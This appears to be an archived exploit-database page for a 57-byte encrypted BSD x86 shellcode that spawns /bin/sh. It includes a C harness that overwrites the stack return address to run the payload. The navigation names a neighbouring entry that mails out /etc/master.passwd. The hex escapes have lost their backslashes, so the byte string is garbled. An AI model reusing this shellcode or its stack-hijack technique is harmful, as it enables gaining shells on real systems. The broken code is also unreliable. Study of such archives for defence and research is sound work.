[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : bsd/x86 execve /bin/sh ENCRYPT* 57 bytes
# Published : 2004-09-26
# Author : Matias Sedalo
# Previous Title : bsd/x86 execve /bin/sh Crypt /bin/sh 49 bytes
# Next Title : bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes


/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   s0t4ipv6@shellcode.com.ar

   57 bytes.

   -Encriptado execve(/bin/sh);

   Para mas informacion ver
   http://www.shellcode.com.ar/es/proyectos.html
*/

char shellcode[]=
"xebx1bx5ex31xc0x6ax1ax6ax17x59x49x5bx8ax04x0e"
"xf6xd3x30xd8x88x04x0ex50x85xc9x75xefxebx05xe8"
"xe0xffxffxffx0ex6fxc7xf9xbexa3xe4xffxb8xffxb2"
"xf4x1fx95x4cxfbxf8xfcx1fx74x09xb2x65";

main()
{
   int *ret;
   printf("Shellcode lenght=%dn",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}

// www.Syue.com [2004-09-26]